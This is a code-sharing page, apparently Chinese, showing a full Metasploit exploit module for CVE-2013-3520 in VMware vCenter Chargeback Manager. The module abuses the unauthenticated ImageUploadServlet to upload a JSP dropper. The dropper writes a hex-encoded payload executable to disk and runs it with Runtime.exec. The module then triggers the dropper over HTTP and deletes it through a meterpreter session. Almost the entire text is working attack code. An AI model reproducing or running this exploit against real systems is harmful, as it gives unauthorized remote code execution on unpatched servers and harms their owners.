扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name'=> 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in VMware vCenter Chargeback Manager, where the ImageUploadServlet servlet allows unauthenticated file upload. The files are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed. The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1 on Windows 2003 SP2. }, 'Author' => [ 'Andrea Micalizzi', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2013-3520' ], [ 'OSVDB', '94188' ], [ 'BID', '60484' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ] ], 'Privileged'=> true, 'Platform'=> 'win', 'Arch' => ARCH_X86, 'Targets' => [ [ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 15 2013')) register_options( [ Opt::RPORT(443) ], self.class) end # # Try to find and delete the jsp if we get a meterpreter. # def on_new_session(cli) if not @dropper or @dropper.empty? return end if cli.type != 'meterpreter' print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin print_status("#{@peer} - Searching: #{@dropper}") files = cli.fs.file.search("\\", @dropper) if not files or files.empty? print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.") return end files.each { |f| print_warning("Deleting: #{f['path'] + "\\" + f['name']}") cli.fs.file.rm(f['path'] + "\\" + f['name']) } print_good("#{@peer} - #{@dropper} deleted") return rescue ::Exception => e print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}") end end def upload_file(filename, contents) post_data = Rex::MIME::Message.new post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"") # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { 'uri' => normalize_uri("cbmui","ImageUploadServlet"), 'method'=> 'POST', 'data'=> data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie'=> "JSESSIONID=#{@session}" }) if res and res.code == 200 return true else return false end end def check res = send_request_cgi({ 'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"), }) if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Uploading JSP to execute the payload") exe = payload.encoded_exe exe_filename = rand_text_alpha(8) + ".exe" # The JSP dropper is needed because there isn't directory traversal, just # arbitrary file upload to a web path where JSP code execution is allowed. dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = rand_text_alpha(8) + ".jsp" if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) @dropper = dropper_filename else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") end print_status("#{@peer} - Executing payload") send_request_cgi( { 'uri'=> normalize_uri("cbmui", "images", dropper_filename), 'method' => 'GET' }) end # This should probably go in a mixin def jsp_drop_bin(bin_data, output_file) jspraw =%Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q|char char1 = (char) data.charAt(counter);\n| jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q|comb <<= 4;\n| jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q|bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw =%Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q|Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end |
体验盒子
